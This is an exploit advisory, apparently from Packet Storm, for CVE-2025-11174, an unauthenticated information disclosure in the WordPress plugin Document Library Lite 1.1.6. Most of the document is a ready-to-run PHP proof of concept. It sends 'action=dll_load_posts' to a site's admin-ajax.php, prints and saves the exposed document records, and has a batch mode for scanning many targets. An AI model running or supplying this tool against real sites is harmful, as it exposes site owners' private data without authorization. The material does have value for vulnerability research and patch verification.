📄 WordPress Document Library Lite 1.1.6 Information Disclosure

=============================================================================================================================================
    | # Title     : WordPress Document Library Lite 1.1.6 Information Disclosure                                                                |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://wordpress.org/plugins/document-library-lite/                                                                        |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/211137/ &	CVE-2025-11174
    
    [+] Summary : The WordPress plugin “Document Library Lite” fails to restrict access to internal AJAX API endpoint allowing unauthenticated attackers to fetch document records exposing sensitive metadata.
    
    [+]  POC :   * Usage: php poc.php https://victim.com
                          php poc.php https://victim.com output.json
    
    
    <?php
    /**
     * CVE-2025-11174 WordPress PoC
     * Fixed Version By Indoushka
     */
    
    class Colors {
        const R="\033[0;31m"; const G="\033[0;32m"; const Y="\033[1;33m";
        const B="\033[0;34m"; const M="\033[0;35m"; const C="\033[0;36m";
        const N="\033[0m";
    }
    
    function banner() {
    echo Colors::R."
     ██╗███╗   ██╗██████╗  ██████╗ ██╗   ██╗███████╗██╗  ██╗██╗  ██╗ █████╗ 
     ██║████╗  ██║██╔══██╗██╔═══██╗██║   ██║██╔════╝██║  ██║██║ ██╔╝██╔══██╗
     ██║██╔██╗ ██║██   █╔╝██║   ██║██║   ██║███████╗███████║█████╔╝ ███████║
     ██║██║╚██╗██║██╔══██╗██║   ██║██║   ██║╚════██║██╔══██║██╔═██╗ ██╔══██║
     ██║██║ ╚████║██████╔╝╚██████╔╝╚██████╔╝███████║██║  ██║██║  ██╗██║  ██║
     ╚═╝╚═╝  ╚═══╝╚═════╝  ╚═════╝  ╚═════╝ ╚══════╝╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═╝ 
    ".Colors::N."
    CVE-2025-11174 — Document Library Lite
    Unauthenticated Information Disclosure PoC
    ==========================================
    
    ";
    }
    
    function normalize($u){
        if(!preg_match('#^https?://#i',$u)) $u="https://".$u;
        return rtrim($u,"/");
    }
    
    function poc($t,$v=false){
        $t=normalize($t);
        $u=$t."/wp-admin/admin-ajax.php";
    
        echo Colors::G."[+] Target: ".Colors::N.$t.PHP_EOL;
        echo "    Endpoint: $u".PHP_EOL.PHP_EOL;
    
        $h=[
            "User-Agent: CVE-2025-11174-Proof",
            "Content-Type: application/x-www-form-urlencoded"
        ];
        $p="action=dll_load_posts";
    
        $c=curl_init();
        curl_setopt_array($c,[
            CURLOPT_URL=>$u,
            CURLOPT_POST=>true,
            CURLOPT_POSTFIELDS=>$p,
            CURLOPT_HTTPHEADER=>$h,
            CURLOPT_RETURNTRANSFER=>true,
            CURLOPT_TIMEOUT=>10,
            CURLOPT_FOLLOWLOCATION=>true,
            CURLOPT_SSL_VERIFYPEER=>false
        ]);
        $r=curl_exec($c);
        $s=curl_getinfo($c,CURLINFO_HTTP_CODE);
        $e=curl_error($c);
        curl_close($c);
    
        echo Colors::G."[+] HTTP: ".Colors::N.$s.PHP_EOL.PHP_EOL;
    
        if($e){
            echo Colors::R."[!] CURL ERROR: $e".Colors::N.PHP_EOL;
            return ["vuln"=>false];
        }
    
        if($s!=200){
            echo Colors::Y."[!] Unexpected status".Colors::N.PHP_EOL;
            return ["vuln"=>false];
        }
    
        $j=json_decode($r,true);
        if(json_last_error()!==JSON_ERROR_NONE){
            echo Colors::G."[+] No JSON returned — not vulnerable".Colors::N.PHP_EOL;
            return ["vuln"=>false];
        }
    
        if(isset($j["data"]) || isset($j["recordsTotal"])){
            echo Colors::R."[!!!] VULNERABLE".Colors::N.PHP_EOL.PHP_EOL;
            echo Colors::G."[+] Retrieved Data:".Colors::N.PHP_EOL;
            echo json_encode($j,JSON_PRETTY_PRINT).PHP_EOL;
    
            return ["vuln"=>true,"data"=>$j];
        }
    
        echo Colors::G."[+] Not vulnerable".Colors::N.PHP_EOL;
        if($v){
            echo Colors::Y."[Verbose] Data:".Colors::N.PHP_EOL;
            echo json_encode($j,JSON_PRETTY_PRINT).PHP_EOL;
        }
        return ["vuln"=>false,"data"=>$j];
    }
    
    function isPCNTL(){
        return function_exists("pcntl_signal") && function_exists("pcntl_async_signals");
    }
    
    function main(){
        global $argv;
        $opts=getopt("vho:",["verbose","help","output:","batch","no-banner"]);
        if(!isset($opts["no-banner"])) banner();
    
        if(isset($opts["h"])||isset($opts["help"])){
            echo "Usage: php ".basename($argv[0])." [OPTIONS] TARGET\n\n";
            exit;
        }
    
        $verbose=(isset($opts["v"])||isset($opts["verbose"]));
    
        // Last standalone argument (target)
        $args=$argv;
        array_shift($args);
        foreach($args as $a){
            if($a[0]!="-"){$target=$a;break;}
        }
        if(empty($target)){
            echo Colors::R."[!] ERROR: No Target Provided".Colors::N.PHP_EOL;
            exit(1);
        }
    
        if(isset($opts["batch"])){
            $file=$target;
            if(!file_exists($file)){
                echo Colors::R."[!] ERROR: Batch file not found: $file".Colors::N.PHP_EOL;
                exit(1);
            }
            $list=file($file,FILE_IGNORE_NEW_LINES|FILE_SKIP_EMPTY_LINES);
            echo Colors::G."[+] Loaded ".count($list)." targets".Colors::N.PHP_EOL.PHP_EOL;
    
            $res=[];
            foreach($list as $x){
                echo Colors::C."[~] Testing $x".Colors::N.PHP_EOL;
                $r=poc($x,$verbose);
                $r["target"]=$x;
                $res[]=$r;
                echo PHP_EOL;
            }
    
            if(isset($opts["o"])||isset($opts["output"])){
                $o=$opts["o"]??$opts["output"];
                file_put_contents($o,json_encode($res,JSON_PRETTY_PRINT));
                echo Colors::G."[+] Saved to: $o".Colors::N.PHP_EOL;
            }
            exit;
        }
    
        $r=poc($target,$verbose);
        if(isset($opts["o"])||isset($opts["output"])){
            $o=$opts["o"]??$opts["output"];
            file_put_contents($o,json_encode($r,JSON_PRETTY_PRINT));
            echo Colors::G."[+] Saved to: $o".Colors::N.PHP_EOL;
        }
    
        exit($r["vuln"]?0:1);
    }
    
    if(isPCNTL()){
        pcntl_async_signals(true);
        pcntl_signal(SIGINT,function(){
            echo PHP_EOL.Colors::Y."[!] Interrupted".Colors::N.PHP_EOL;
            exit(130);
        });
    }
    
    main();
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================